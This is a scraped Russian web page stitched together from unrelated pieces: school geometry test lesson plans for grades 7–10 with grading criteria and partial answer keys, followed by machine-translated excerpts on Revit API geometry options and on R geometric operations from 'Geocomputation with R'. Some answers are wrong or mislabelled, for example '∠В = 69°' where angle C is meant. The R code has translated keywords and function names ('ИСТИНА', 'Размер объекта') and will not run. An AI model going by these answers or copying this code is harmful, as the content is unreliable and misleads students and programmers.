«Детская школа искусств» Мошенского муниципального района

Уровень 1 вариант 1 геометрия: ГДЗ самостоятельная работа / Вариант-1 1 геометрия 10 класс дидактические материалы Зив

Содержание

ГДЗ самостоятельная работа / Вариант-1 1 геометрия 10 класс дидактические материалы Зив

Решение есть!
  • 1 класс
    • Математика
    • Английский язык
    • Русский язык
    • Музыка
    • Литература
    • Окружающий мир
  • 2 класс
    • Математика
    • Английский язык
    • Русский язык
    • Немецкий язык
    • Информатика
    • Музыка
    • Литература
    • Окружающий мир
    • Технология
  • 3 класс
    • Математика
    • Английский язык
    • Русский язык
    • Немецкий язык
    • Информатика
    • Музыка
    • Литература
    • Окружающий мир
    • Казахский язык
  • 4 класс
    • Математика
    • Английский язык
    • Русский язык
    • Немецкий язык
    • Информатика
    • Музыка
    • Литература

Геометрия 8 класс. Контрольная работа № 1 с ответами

Контрольная работа № 1 по геометрии в 8 классе «Четырехугольники» с ответами и решениями (3 уровня сложности по 2 варианта). УМК Атанасян и др. (Просвещение). Поурочное планирование по геометрии для 8 класса. Урок 16. Контрольная работа по теме «Четырехугольники».

Смотреть Список всех контрольных по геометрии в 8 классе по УМК Атанасян.

 

Контрольная работа № 1
«Четырехугольники»

Цель: проверить знания, умения и навыки учащихся по теме.
Тип урока: урок контроля, оценки и коррекции знаний.

ХОД УРОКА

1. Организационный момент

Мотивация к учебной деятельности. Учитель сообщает тему урока, формулирует цели урока.

2. Выполнение контрольной работы

Контрольная работа. I уровень сложности

Вариант 1

  1. Диагонали прямоугольника ABCD пересекается в точке О, ∠ABO = 36°. Найдите угол AOD.
  2. Найдите углы прямоугольной трапеции, если один из ее углов равен 20°.
  3. Стороны параллелограмма относятся как 1 : 2, а его периметр равен 30 см. Найдите стороны параллелограмма.
  4. В равнобокой трапеции сумма углов при большем основании равна 96°. Найдите углы трапеции.
  5. * Высота ВМ, проведенная из вершины угла ромба ABCD образует со стороной АВ угол 30°, AM = 4 см. Найдите длину диагонали BD ромба, если точка М лежит на стороне AD.

Вариант 2

  1. Диагонали прямоугольника MNKP пересекаются в точке О, ∠MON = 64°. Найдите угол ОМР.
  2. Найдите углы равнобокой трапеции, если один из ее углов на 30° больше второго.
  3. Стороны параллелограмма относятся как 3 : 1, а его периметр равен 40 см. Найдите стороны параллелограмма.
  4. В прямоугольной трапеции разность углов при одной из боковых сторон равна 48°. Найдите углы трапеции.
  5. * Высота ВМ, проведенная из вершины угла ромба ABCD образует со стороной АВ угол 30°, длина диагонали АС равна 6 см. Найдите AM, если точка М лежит на продолжении стороны AD.
Контрольная работа. II уровень сложности

Вариант 1

  1. Периметр параллелограмма 50 см. Одна из его сторон на 5 см больше другой. Найдите длины сторон параллелограмма.
  2. Найдите угол между диагоналями прямоугольника, если каждая из них делит угол прямоугольника в отношении 4 : 5.
  3. Найдите углы параллелограмма, если одна из его диагоналей является высотой и равна одной из его сторон.
  4. В трапеции ABCD диагональ BD перпендикулярна боковой стороне АВ, ∠ADB = ∠BDC = 30°. Найдите длину AD, если периметр трапеции 60 см.
  5. * В параллелограмме ABCD биссектрисы углов АВС и BCD пересекаются в точке M1. На прямых АВ и CD взяты точки К и Р так, что А – В – К, D – С – Р. Биссектрисы углов КВС и ВСР пересекаются в точке М2, М1М2 = 8 см. Найдите AD.

Вариант 2

  1. Периметр параллелограмма 60 см. Одна из его сторон на 6 см меньше другой. Найдите длины сторон параллелограмма.
  2. Угол между диагоналями прямоугольника равен 80°. Найдите угол между диагональю и меньшей стороной прямоугольника.
  3. Найдите углы параллелограмма, если одна из его диагоналей является высотой и равна половине неперпендикулярной к ней стороны параллелограмма.
  4. В трапеции ABCD диагональ АС перпендикулярна боковой стороне CD и является биссектрисой угла А. Найдите длину АВ, если периметр трапеции равен 35 см, ∠D = 60°.
  5. * В параллелограмме ABCD AD = 6 см. Биссектрисы углов АВС и BCD пересекаются в точке M1. На прямых АВ и CD взяты точки К и Р так, что А – В – К, D – С – Р. Биссектрисы углов КВС и ВСР пересекаются в точке М2. Найдите М1М2.
Контрольная работа. III уровень сложности

Вариант 1

  1. В равнобокой трапеции длина боковой стороны 2d, длины оснований 5d и 7d. Найдите углы трапеции.
  2. В параллелограмме ABCD известно, что ∠А = 60°, АВ = 10, AD = 16. Найдите расстояния от вершин В и D до биссектрисы ∠BCD.
  3. В ромбе ABCD биссектриса угла DCA перпендикулярна стороне AD. Найдите углы ромба.
  4. Внутри квадрата ABCD выбрана точка М так, что треугольник AMD равносторонний. Найдите угол AMВ.
  5. * Биссектриса угла С параллелограмма ABCD пересекает сторону AD в точке М и на продолжении стороны АВ за точку А в точке N. Найдите периметр параллелограмма, если AN = 4, DM = 3.

Вариант 2

  1. В равнобокой трапеции боковая сторона равна меньшему основанию, а диагональ перпендикулярна боковой стороне. Найдите углы трапеции.
  2. В параллелограмме KMNP угол М равен 120°, КМ = 8, КР = 10. Найдите расстояния от вершин М и Р до биссектрисы угла МКР.
  3. Высота ромба делит его сторону пополам. Найдите углы ромба.
  4. Внутри квадрата ABCD выбрана точка N так, что треугольник BNC равносторонний. Найдите угол NAD.
  5. * В параллелограмме ABCD биссектриса угла А пересекает сторону ВС в точке F и на продолжении стороны CD за точку С в точке Е. Найдите периметр параллелограмма, если BF = 2 см, ЕС = 3 см.

 

3. Рефлексия учебной деятельности

В конце урока учитель раздает на каждую парту краткую запись решения задач контрольной работы.
Домашнее задание: решить задачи, с которыми ученик не справился.

Решения и ответы на контрольную работу
I уровня сложности

 

Решения и ответы на контрольную работу
II уровня сложности

 

Решения и ответы на контрольную работу
III уровня сложности
Критерии оценивания результатов контрольной работы
  • оценка «5» — правильно решены три задачи;
  • оценка «4» — правильно решены две задачи или правильно решена одна задача, а при решении двух других задач допущены ошибки;
  • оценка «3» — правильно решена одна задача;
  • оценка «2» — все задачи решены неправильно.

За правильно решенную дополнительную задачу (№ 5) ставится дополнительная оценка.

 

Вы смотрели: 8 класс. Контрольная работа № 1. Поурочное планирование по геометрии для 8 класса. УМК Атанасян (Просвещение). Урок 16. Контрольная работа по теме «Четырехугольники» + ОТВЕТЫ и РЕШЕНИЯ.

Смотреть Список всех контрольных по геометрии в 8 классе по УМК Атанасян.

Вернуться к Списку уроков Тематического планирования в 8 классе.

Геометрия 7 Атанасян К-6 Уровень 1 Итоговая контрольная

Итоговая контрольная работа по геометрии в 7 классе с ответами УМК Атанасян Просвещение (легкий уровень). Урок 68 поурочного планирования по геометрии. Геометрия 7 Атанасян К-6 Уровень 1 (варианты 1, 2). Цитаты использованы в учебных целях.

Смотреть Список всех контрольных по геометрии в 7 классе по УМК Атанасян.

Другие варианты итоговой контрольной работы в 7 классе:

К-6 Уровень 2 + Решения   К-6 Уровень 3 + Решения

 

Итоговая контрольная работа по геометрии
Уровень 1 (легкий). Геометрия 7 класс

Вариант 1

  1. Дано: ВО = DO, ∠ABC = 45°, ∠BCD = 55°, ∠AOC = 100° (рис. 5.89). Найти: ∠D. Доказать: ΔАВО = ΔCDO.
  2. В равнобедренном треугольнике АВС с основанием АС угол В равен 42°. Найти: Два других угла треугольника АВС.
  3. Точки В и D лежат в разных полуплоскостях относительно прямой АС. Треугольники АВС и ADC — равносторонние. Доказать: АВ || CD.
  4. * Дано: ∠EPM = 90°, ∠MEP = 30°, ME = 10 см (рис. 5.90).
    а) Между какими целыми числами заключена длина отрезка ЕР?
    б) Найдите длину медианы PD. 

Вариант 2

  1. Дано: АВ = CD, ∠ABC = 65°, ∠ADC = 45°, ∠AOC = 110° (рис. 5.91). Найти: ∠C. Доказать: ΔАВО = ΔDCO.
  2. В равнобедренном треугольнике AВС с основанием АС сумма углов А и С равна 156°. Найти: углы треугольника АВС.
  3. Точки В и D лежат в разных полуплоскостях относительно прямой АС. Треугольники АВС и ADC — равнобедренные прямоугольные (∠B = ∠D = 90°). Доказать: АВ || CD.
  4. * Дано: ∠DBC = 90°, ∠BDC = 60°, BD = 4 см (рис. 5.92).
    а) Между какими целыми числами заключена длина отрезка ВС?
    б) Найдите длину медианы PD. 

 

Ответы на контрольную работу:

ОТВЕТЫ на Вариант 1

№1. ∠D = 45°. ΔАВО = ΔCDO по равной стороне и двум прилежащим к ней углам.

№2. ∠A = 69°, ∠В = 69°.

№3. ΔABC = ΔАDC по 3 признаку. АС — секущая => ∠BAC = ∠ACD (накрестлежащие) => АВ || CD.

№4. а) между 8 и 9; б) 5.

ОТВЕТЫ на Вариант 2

№1. ∠С = 65°.

№2. ∠A = 78°, ∠В = 24°, ∠С = 78°.

№3. ∠А = ∠С = (360-90-90):2 = 90. Значит АВСD — прямоугольник, а у прямоугольника противоположные стороны равны и параллельны => АВ || CD.

№4. а) между 6 и 7; б) 2√7.

 

Информация для учителя:

По прохождении каждой темы предусмотрена контрольная работа, состоящая из заданий трех уровней сложности, которые определяются или учителем, или самим учащимся (при этом число экземпляров вариантов должно быть достаточным). Разумеется, учащиеся должны знать о различной сложности вариантов и критериях оценки контрольной работы.
Контрольная работа составлена в 6 вариантах различной сложности (варианты 1, 2 самые простые, варианты 3, 4 сложнее и варианты 5, 6 самые сложные). При этом сложность вариантов нарастает не очень резко. Каждый вариант содержит 6 задач примерно одинаковой сложности (может быть, несколько сложнее две последние задачи).

Другие варианты итоговой контрольной работы в 7 классе:

К-6 Уровень 2 + Решения   К-6 Уровень 3 + Решения

 

Вы смотрели: Итоговая контрольная работа по геометрии в 7 классе с ответами УМК Атанасян Просвещение (простой уровень). Урок 68 поурочного планирования по геометрии. Геометрия 7 Атанасян К-6 Уровень 1 (варианты 1, 2).

Смотреть Список всех контрольных по геометрии в 7 классе по УМК Атанасян.

В учебных целях использованы цитаты из учебного пособия «Поурочные разработки по геометрии. 7 класс / Гаврилова Н.Ф. — М.: ВАКО», которое используется в комплекте с учебником «Атанасян Л.С., Бутузов В.Ф. и др. Геометрия. 7—9 классы. Учебник для общеобразовательных организаций. М.: Просвещение».

Геометрия 9 класс Контрольная № 1 с ответами

Контрольная работа № 1 по геометрии в 9 классе «Векторы» с ответами и решениями (3 уровня сложности по 2 варианта). УМК Атанасян и др. (Просвещение). Поурочное планирование по геометрии для 7 класса (Н.Ф. Гаврилова, ВАКО). Урок 14. Геометрия 9 класс Контрольная № 1 «Векторы».

Смотреть Список всех контрольных по геометрии в 9 классе (УМК Атанасян)

 

Контрольная работа № 1
«Векторы»

Цель: проверить знания, умения и навыки учащихся по теме.
Тип урока: урок контроля, оценки и коррекции знаний.

ХОД УРОКА

1. Организационный момент

Мотивация к учебной деятельности. Учитель сообщает тему урока, формулирует цели урока.

2. Контрольная работа

   I уровень сложности

Вариант 1

  1. Начертите два неколлинеарных вектора a и b. Постройте векторы, равные: а) –a/2 + 3b; б) 2b – a.
  2. На стороне ВС ромба ABCD лежит точка К так, что ВК = КС, О — точка пересечения диагоналей. Выразите векторы АО, АК, KD через векторы a = АВ и b = AD.
  3. В равнобедренной трапеции высота делит большее основание на отрезки, равные 5 см и 12 см. Найдите среднюю линию трапеции.
  4. * В треугольнике АВС точка О — точка пересечения медиан. Выразите вектор АО через векторы а = АВ и b = АС.

Вариант 2

  1. Начертите два неколлинеарных вектора m и n. Постройте векторы, равные: а) —m/3 + 2n; б) 3n – m.
  2. На стороне CD квадрата ABCD лежит точка Р так, что СР = PD, О – точка пересечения диагоналей. Выразите векторы ВО, ВР, РА через векторы х = ВА и у = ВС.
  3. В равнобедренной трапеции один из углов равен 60°, боковая сторона равна 8 см, а меньшее основание — 7 см. Найдите среднюю линию трапеции.
  4. * В треугольнике MNK точка О — точка пересечения медиан, MN = а, МК = у, МО = k (х + у). Найдите число k.
   II уровень сложности

 

   III уровень сложности

 

3. Рефлексия учебной деятельности

В конце урока учитель раздает на каждую парту краткую запись решения задач контрольной работы.
Домашнее задание: решить задачи, с которыми ученик не справился.

   Ответы на контрольную I уровня сложности

 

   Ответы на контрольную II уровня сложности

 

   Ответы на контрольную III уровня сложности

Вы смотрели: Геометрия 9 класс Контрольная № 1. Поурочное планирование по геометрии для 9 класса. УМК Атанасян (Просвещение). Урок 14. Контрольная работа по геометрии «Векторы» + ОТВЕТЫ.

Смотреть Список всех контрольных по геометрии в 9 классе по УМК Атанасян.

Вернуться к Списку уроков Тематического планирования в 9 классе.

Геометрия 10 класс Контрольная № 1 с ответами

Контрольная работа по геометрии в 10 классе «Аксиомы стереометрии» с ответами и решениями (3 уровня сложности по 2 варианта). УМК Атанасян и др. (Просвещение). Поурочное планирование по геометрии для 10 класса (В.А. Яровенко, ВАКО). Урок 15. Геометрия 10 класс Контрольная № 1 «Аксиомы стереометрии. Взаимное расположение прямых, прямой и плоскости».

Смотреть Список всех контрольных по геометрии в 10 классе (Атанасян)

 

Контрольная работа № 1
«Аксиомы стереометрии»

Цель: проверить знания, умения и навыки учащихся по теме.
Тип урока: урок контроля, оценки и коррекции знаний.

ХОД УРОКА

1. Организационный момент

Мотивация к учебной деятельности. Учитель сообщает тему урока, формулирует цели урока.

2. Контрольная работа

   I уровень сложности

Вариант 1

  1. Прямые а и b пересекаются. Прямая с является скрещивающейся с прямой а. Могут ли прямые b и с быть параллельными?
  2. Плоскость α проходит через середины боковых сторон АВ и CD трапеции ABCD — точки М и N.
    а) Докажите, что AD II α.
    б) Найдите ВС, если AD = 10 см, MN= 8 см.
  1. Прямая МА проходит через вершину квадрата ABCD и не лежит в плоскости квадрата.
    а) Докажите, что МА и ВС — скрещивающиеся прямые.
    б) Найдите угол между прямыми МА и ВС, если ∠МАD = 45°.

Вариант 2

  1. Прямые а и b пересекаются. Прямые а и с параллельны. Могут ли прямые b и с быть скрещивающимися?
  2. Плоскость α проходит через основание AD трапеции ABCD. М и N — середины боковых сторон трапеции.
    а) Докажите, что MN II α.
    б) Найдите AD, если ВС = 4 см, MN = 6 см.
  1. Прямая CD проходит через вершину треугольника АВС и не лежит в плоскости АВС. Е и F — середины отрезков АВ и ВС.
    а) Докажите, что CD и EF — скрещивающиеся прямые.
    б) Найдите угол между прямыми CD и EF, если ∠DCA = 60°.
   II уровень сложности

Вариант 1

  1. Прямая а параллельна плоскости α, a прямая b лежит в плоскости α. Определите, могут ли прямые а и b:
    а) быть параллельными; б) пересекаться; в) быть скрещивающимися.
  2. Точка М не лежит в плоскости трапеции ABCD (AD II ВС).
    а) Докажите, что треугольники MAD и МВС имеют параллельные средние линии.
    б) Найдите длины этих средних линий, если AD : ВС = 5 : 3, а средняя линия трапеции равна 16 см.
  3. Через вершину А квадрата ABCD проведена прямая КА, не лежащая в плоскости квадрата.
    a) Докажите, что КА и CD — скрещивающиеся прямые.
    б) Найдите угол между КА и CD, если ∠АКВ = 85°, ∠АВК = 45°.

Вариант 2

  1. Прямая а параллельна плоскости α, а прямая b пересекает плоскость α. Определите, могут ли а и b:
    а) быть параллельными; б) пересекаться; в) быть скрещивающимися.
  2. Треугольник АВС и трапеция KMNP имеют общую среднюю линию EF, причем KP II MN, EF II AC.
    а) Докажите, что АС II КР. б) Найдите КР и MN, если КР : MN= 3 : 5, АС= 16 см.
  3. Точка М не лежит в плоскости ромба ABCD.
    а) Докажите, что МС и AD — скрещивающиеся прямые.
    б) Найдите угол между МС и AD, если ∠MBC = 70°, ∠BMC = 65°.
   III уровень сложности

Вариант 1

  1. Плоскости α и β пересекаются по прямой l. Прямая а параллельна прямой l и является скрещивающейся с прямой b. Определите, могут ли прямые а и b:
    а) лежать в одной из данных плоскостей;
    б) лежать в разных плоскостях α и β;
    в) пересекать плоскости α и β. В случае утвердительного ответа укажите взаимное расположение прямых а и b.
  2. Плоскость α пересекает стороны АВ и ВС треугольника АВС в точках М и N соответственно, причем AM : МВ = 3 : 4, CN : ВС = 3 : 7.
    а) Докажите, что АС II α. б) Найдите АС, если MN = 16см.
  3. Точки А, В, С и D не лежат в одной плоскости. Найдите угол между прямыми АС и ВД, если АС = 6 см, BD = 8 см, а расстояние между серединами отрезков AD и ВС равно 5 см.

Вариант 2

  1. Плоскости α и β пересекаются по прямой l. Прямые l и а пересекаются, а прямые l и b параллельны. Определите, могут ли прямые а и b:
    а) лежать в одной из плоскостей;
    б) лежать в разных плоскостях α и β;
    в) пересекать плоскости α и β. В случае утвердительного ответа укажите взаимное расположение прямых а и b.
  2. Плоскость α проходит через сторону АС треугольника АВС. Прямая пересекает стороны АВ и ВС данного треугольника в точках М и N соответственно, причем BN : NC= 2 : 3, AM : АВ = 3 : 5.
    а) Докажите, что MN II α. б) Найдите MN, если АС = 30 см.
  3. Точки А, В, С и D не лежат в одной плоскости. Найдите угол между прямыми АВ и CD, если АВ = CD = 6 см, а расстояние между серединами отрезков AD и ВС = 3 см.

 

3. Рефлексия учебной деятельности

В конце урока учитель раздает на каждую парту краткую запись решения задач контрольной работы.
Домашнее задание: решить задачи, с которыми ученик не справился.

   ОТВЕТЫ на все варианты контрольной работы

   Решение заданий I уровня сложности

 

   Решение заданий II уровня сложности

 

   Решение заданий III уровня сложности

Вы смотрели: Геометрия 10 класс Контрольная № 1. Поурочное планирование по геометрии для 10 класса. УМК Атанасян (Просвещение). Урок 15. Контрольная работа по геометрии «Аксиомы стереометрии. Взаимное расположение прямых, прямой и плоскости» + ОТВЕТЫ.

Смотреть Список всех контрольных по геометрии в 10 классе по УМК Атанасян.

 

Контрольные работы по геометрии для 9 класса к УМК Л. С. Атанасяна | Учебно-методический материал по геометрии (9 класс) по теме:

Контрольная работа № 1.  Векторы

1 вариант.

1.  Начертите два неколлинеарных вектора и . Постройте векторы, равные:

а)  ; б)  

2. На стороне ВС ромба АВСD лежит точкаК такая, что ВК = КС, О – точка пересечения диагоналей. Выразите векторы  через векторы и .

3. В равнобедренной трапеции высота делит большее основание на отрезки, равные 5 и 12 см. Найдите среднюю линию трапеции.

4.* В треугольнике АВС О – точка пересечения медиан. Выразите вектор  через векторы  и .

2 вариант

1. Начертите два неколлинеарных вектора и . Постройте векторы, равные:

а)  ; б)

2. На стороне СD квадрата АВСD лежит точка Р такая, что СР = РD , О – точка пересечения диагоналей. Выразите векторы  через векторы и

3.  В равнобедренной трапеции один из углов равен 600, боковая сторона равна 8 см, а меньшее основание 7 см. Найдите среднюю линию трапеции.

4.  * В треугольнике МNK  О – точка пересечения медиан, . Найдите число k.

Контрольная работа № 2. Метод координат.

1 вариант.

1. Найдите координаты и длину вектора , если  .

2.  Напишите уравнение окружности с центром в точкеА (- 3;2), проходящей через точку В (0; — 2).

3. Треугольник МNK задан координатами своих вершин: М (- 6; 1), N (2; 4), К (2; — 2).

а)  Докажите, что Δ- равнобедренный;

б)  Найдите высоту, проведённую из вершины М.

4. * Найдите координаты точки N, лежащей на оси абсцисс и равноудалённой от точек Р и К, если        Р( — 1; 3 ) и  К( 0; 2 ).

2 вариант.

1). Найдите координаты и длину вектора , если  .

2). Напишите уравнение окружности с центром в точке С ( 2; 1 ), проходящей через точку D ( 5; 5 ).

3). Треугольник СDЕ задан координатами своих вершин: С (2; 2), D (6; 5), Е (5; — 2).

а) Докажите, что Δ- равнобедренный;

б) Найдите биссектрису, проведённую из вершины С.

4. * Найдите координаты точки А, лежащей на оси ординат и равноудалённой от точек В и С, если В( 1; — 3 ) и  С( 2; 0 ).

Контрольная работа № 3.

  Соотношения между сторонами и углами треугольника.

1 вариант

  1.  В треугольнике АВС А = 450,

В = 600, ВС = Найдите АС.

  1.  Две стороны треугольника равны

7 см и 8 см, а угол между ними равен 1200. Найдите третью сторону треугольника.

  1. Определите вид треугольника АВС, если

А ( 3;9 ), В ( 0; 6 ), С ( 4; 2 ).

  1.  * В ΔАВС  АВ = ВС, САВ = 300, АЕ – биссектриса, ВЕ = 8 см. Найдите площадь треугольника АВС.

2 вариант

  1. В треугольнике СDEС = 300,

D = 450, СЕ =Найдите DE.

  1.  Две стороны треугольника равны

5 см и 7 см, а угол между ними равен 600. Найдите третью сторону треугольника.

  1.  Определите вид треугольника АВС, если

А ( 3;9 ), В ( 0; 6 ), С ( 4; 2 ).

  1. * В ромбе АВСD   АК – биссектриса угла САВ, ВАD = 600, ВК = 12 см. Найдите площадь ромба.

Контрольная работа № 4.

 Длина окружности и площадь круга.

1 вариант

1. Найдите площадь круга и длину ограничивающей его окружности, если сторона правильного треугольника, вписанного в него, равна

2. Вычислите длину дуги окружности с радиусом 4 см, если её градусная мера равна 1200. Чему равна площадь соответствующего данной  дуге кругового сектора?

3.  Периметр правильного треугольника, вписанного в окружность, равен Найдите периметр правильного шестиугольника, описанного около той же окружности.

2 вариант

1. Найдите площадь круга и длину ограничивающей его окружности, если сторона квадрата, описанного около него, равна 6 см.

2.  Вычислите длину дуги окружности с радиусом 10 см, если её градусная мера равна 1500. Чему равна площадь соответствующего данной  дуге кругового сектора?

3.  Периметр квадрата, описанного около окружности, равен 16 дм. Найдите периметр правильного пятиугольника, вписанного в эту же окружность.

Контрольная работа № 5.

 Движения.

1 вариант

1.  Начертите ромб АВСD. Постройте образ этого ромба:

а) при симметрии относительно точки С;

б) при симметрии относительно прямой АВ;

в) при параллельном переносе на вектор ;

г) при повороте вокруг точки D на 600 по часовой стрелке.

2.  Докажите, что прямая, содержащая середины двух параллельных хорд окружности, проходит через её центр.

3.  * Начертите два параллельных отрезка, длины которых равны.начертите точку, являющуюся центром симметрии, при котором один отрезок отображается на другой.

2 вариант

1.  Начертите параллелограмм АВСD. Постройте образ этого параллелограмма:

а) при симметрии относительно точки D;

б) при симметрии относительно прямой CD;

в) при параллельном переносе на вектор ;

г) при повороте вокруг точки А на 450 против часовой стрелки.

2.  Докажите, что прямая, содержащая середины противоположных сторон параллелограмма, проходит через точку пересечения его диагоналей.

3.* Начертите два параллельных отрезка, длины которых равны. Постройте центр поворота, при котором один отрезок отображается на другой.

Строительный кодер: параметры геометрии

Это часть 1 урока Скотта Коновера для Австралии, 2009 г. анализ геометрии здания.

Все начинается с get_Geometry и его параметров. Что это за варианты?

Геометрия обычно извлекается из индексированного свойства Element.Geometry или Element.get_Geometry в C #. Это свойство принимает класс опций, который вы должны указать. Класс параметров настраивает тип получаемого вывода:

  • ComputeReferences — этот флаг устанавливает Revit для создания GeometryObject.Свойство ссылки активно для каждого извлеченного геометрического объекта. Если это ложь, свойство будет нулевым. Помните, что значение по умолчанию — false, вы должны включить это, иначе ваша ссылка не будет доступна.
  • IncludeNonVisibleObjects — этот новый флаг в Revit 2010 позволяет Revit также возвращать геометрические объекты, которые не видны на виде по умолчанию. Большая часть этой невидимой геометрии — это строительная и условная геометрия, которую пользователь видит при редактировании элемента (например, центральная плоскость экземпляра семейства окон).Итак, обычно вы устанавливаете это значение false (по умолчанию), поскольку вы не хотите включать такую ​​информацию в свой вывод. Однако некоторая часть этой условно видимой геометрии представляет собой объекты реального мира, и в определенных ситуациях ее следует извлечь. Одним из таких примеров является геометрия изоляции воздуховодов в Revit MEP.
  • DetailLevel — устанавливает уровень детализации извлеченной геометрии. Обратите внимание, что по умолчанию это «средний».
  • Вид — устанавливает вид, который управляет извлеченной геометрией.Обратите внимание, что уровень детализации для этого представления будет использоваться вместо «DetailLevel», если представление назначено (поэтому вам нужно будет изменить уровень детализации представления в зависимости от желаемого результата). Установите вид, если вы хотите извлечь геометрию, зависящую от вида, которая обычно не отображается в трехмерном виде по умолчанию.
Содержимое извлеченной геометрии

Извлеченная геометрия возвращается вам как Autodesk.Revit.Geometry.Element. Вы можете посмотреть на геометрические элементы этого элемента, повторяя свойство Objects.Обычно объекты, возвращаемые на верхнем уровне извлеченной геометрии, будут одним из следующих:

  • Solid — представление границы, состоящее из граней и ребер.
  • Кривая — ограниченная трехмерная кривая.
  • Экземпляр — экземпляр геометрического элемента, размещенный и расположенный внутри элемента.

Экземпляр предлагает возможность считывать свою геометрию с помощью методов GetSymbolGeometry и GetInstanceGeometry. Эти методы возвращают другой файл Autodesk.Revit.Geometry.Element, который можно анализировать так же, как первый уровень, возвращаемый из get_Geometry:

  • GetSymbolGeometry возвращает геометрию, представленную в системе координат семейства. Используйте это, например, когда вы хотите получить изображение «общей» таблицы без учета ориентации и места размещения в проекте.
  • GetInstanceGeometry возвращает геометрию, представленную в системе координат проекта, в котором размещен экземпляр.Используйте это, например, если вы хотите получить изображение конкретной геометрии экземпляра в проекте (например, чтобы обеспечить размещение таблиц параллельно стенам комнаты).
  • Также существуют перегрузки для обоих методов, которые преобразуют геометрию в любой произвольной системе координат.
В некоторых случаях экземпляры могут иметь многоуровневую вложенность. Например, балясина в перилах, помещенная в документ, или любой другой пример вложенных экземпляров семейства. Мы обсудим преобразования и их связь с геометрией экземпляра позже в этом курсе.
Другие источники геометрии

Геометрия также может быть получена из множества других свойств и методов:

  • LocationCurve — криволинейные элементы, такие как стены и балки, сообщают свой профиль через этот интерфейс.
  • Ссылки размеров — ссылки содержат информацию

Глава 5 Геометрические операции | Геокомпьютеры с R

Введение

В предыдущих трех главах было продемонстрировано, как наборы географических данных структурированы в R (глава 2) и как ими управлять на основе их негеографических атрибутов (глава 3) и пространственных свойств (глава 4).Эта глава расширяет эти навыки. Прочитав его — и попробовав выполнить упражнения в конце, — вы должны понимать и контролировать столбец геометрии в объектах sf и географическое положение пикселей, представленных в растрах.

Раздел 5.2 описывает преобразование векторной геометрии с помощью «унарных» и «бинарных» операций. Унарные операции работают изолированно с одной геометрией. Это включает в себя упрощение (линий и многоугольников), создание буферов и центроидов, а также смещение / масштабирование / вращение отдельных геометрий с использованием «аффинных преобразований» (разделы 5.С 2.1 по 5.2.4). Бинарные преобразования изменяют одну геометрию на основе формы другой. Сюда входят объединения обрезки и геометрии, описанные в разделах 5.2.5 и 5.2.6 соответственно. Преобразование типов (например, из многоугольника в линию) продемонстрировано в Разделе 5.2.7.

Раздел 5.3 описывает геометрические преобразования растровых объектов. Это включает изменение размера и количества нижележащих пикселей и присвоение им новых значений. В нем рассказывается, как изменить разрешение (также называемое агрегированием и дезагрегацией растра), экстент и происхождение растра.Эти операции особенно полезны, если нужно выровнять наборы растровых данных из разных источников. Выровненные растровые объекты имеют взаимно однозначное соответствие между пикселями, что позволяет обрабатывать их с помощью операций алгебры карт, описанных в Разделе 4.3.2. Последний раздел 5.4 связывает векторные и растровые объекты. Он показывает, как значения растра могут быть «замаскированы» и «извлечены» с помощью векторной геометрии. Важно отметить, что в нем показано, как «полигонизировать» растры и «растрировать» векторные наборы данных, что делает две модели данных более взаимозаменяемыми.

Геометрические операции над векторными данными

Этот раздел посвящен операциям, которые каким-то образом изменяют геометрию векторных ( sf ) объектов. Он более продвинут, чем операции с пространственными данными, представленные в предыдущей главе (в разделе 4.2), потому что здесь мы углубляемся в геометрию: Функции, обсуждаемые в этом разделе, работают с объектами класса sfc в дополнение к объектам класса sf .

Упрощение

Упрощение — это процесс обобщения векторных объектов (линий и многоугольников), обычно для использования в картах меньшего масштаба.Еще одна причина для упрощения объектов — уменьшить объем памяти, дискового пространства и пропускной способности сети, которые они потребляют: может быть целесообразно упростить сложные геометрические формы перед публикацией их в виде интерактивных карт. Пакет sf предоставляет st_simplify () , который использует реализацию GEOS алгоритма Дугласа-Пекера для уменьшения количества вершин. st_simplify () использует dTolerance для управления уровнем обобщения в единицах карты (подробности см. В Douglas and Peucker 1973).Рисунок 5.1 иллюстрирует упрощение геометрии LINESTRING , представляющей реку Сена и притоки. Упрощенная геометрия была создана следующей командой:

  seine_simp = st_simplify (seine, dTolerance = 2000) # 2000 м

РИСУНОК 5.1: Сравнение исходной и упрощенной геометрии объекта невод.

Результирующий объект seine_simp является копией исходного seine , но с меньшим количеством вершин.Это очевидно: результат визуально проще (рис. 5.1, справа) и потребляет меньше памяти, чем исходный объект, как показано ниже:

  Размер объекта (невод)
#> 18096 байт
объект.размер (seine_simp)
#> 9112 байтов

Упрощение также применимо к полигонам. Это проиллюстрировано с использованием us_states , представляющего прилегающие Соединенные Штаты. Как мы показываем в главе 6, GEOS предполагает, что данные находятся в прогнозируемой CRS, и это может привести к неожиданным результатам при использовании географической CRS.Следовательно, первым шагом является проецирование данных в некоторую адекватную проектируемую CRS, такую ​​как равноправная зона Национального атласа США (epsg = 2163) (слева на рисунке 5.2):

  us_states2163 = st_transform (us_states, 2163)

st_simplify () одинаково хорошо работает с проектируемыми полигонами:

  us_states_simp1 = st_simplify (us_states2163, dTolerance = 100000) # 100 км

Ограничение st_simplify () состоит в том, что он упрощает объекты для каждой геометрии.Это означает, что «топология» теряется, что приводит к перекрытию и «священным» единицам площади, показанным на рисунке 5.2 (средняя панель). ms_simplify () из rmapshaper предоставляет альтернативу, которая решает эту проблему. По умолчанию он использует алгоритм Visvalingam, который преодолевает некоторые ограничения алгоритма Douglas-Peucker (Visvalingam and Whyatt 1993). В следующем фрагменте кода эта функция используется для упрощения us_states2163 . Результат имеет только 1% вершин входа (устанавливается с использованием аргумента , сохраняет ), но его количество объектов остается неизменным, потому что мы устанавливаем keep_shapes = TRUE :

  # доля баллов для сохранения (0-1; по умолчанию 0.05)
us_states2163 $ AREA = as.numeric (us_states2163 $ AREA)
us_states_simp2 = rmapshaper :: ms_simplify (us_states2163, keep = 0,01,
                                          keep_shapes = ИСТИНА)

Наконец, визуальное сравнение исходного набора данных и двух упрощенных версий показывает различия между выходами алгоритмов Дугласа-Пекера ( st_simplify ) и Висвалингама ( ms_simplify ) (рисунок 5.2):

РИСУНОК 5.2: Упрощение многоугольника в действии, сравнение исходной геометрии смежных Соединенных Штатов с упрощенными версиями, созданными с помощью функций из пакетов sf (в центре) и rmapshaper (справа).

Центроиды

Центроидные операции определяют центр географических объектов. Подобно статистическим измерениям центральной тенденции (включая среднее и медианное определения «среднего»), существует множество способов определения географического центра объекта. Все они создают одноточечные представления более сложных векторных объектов.

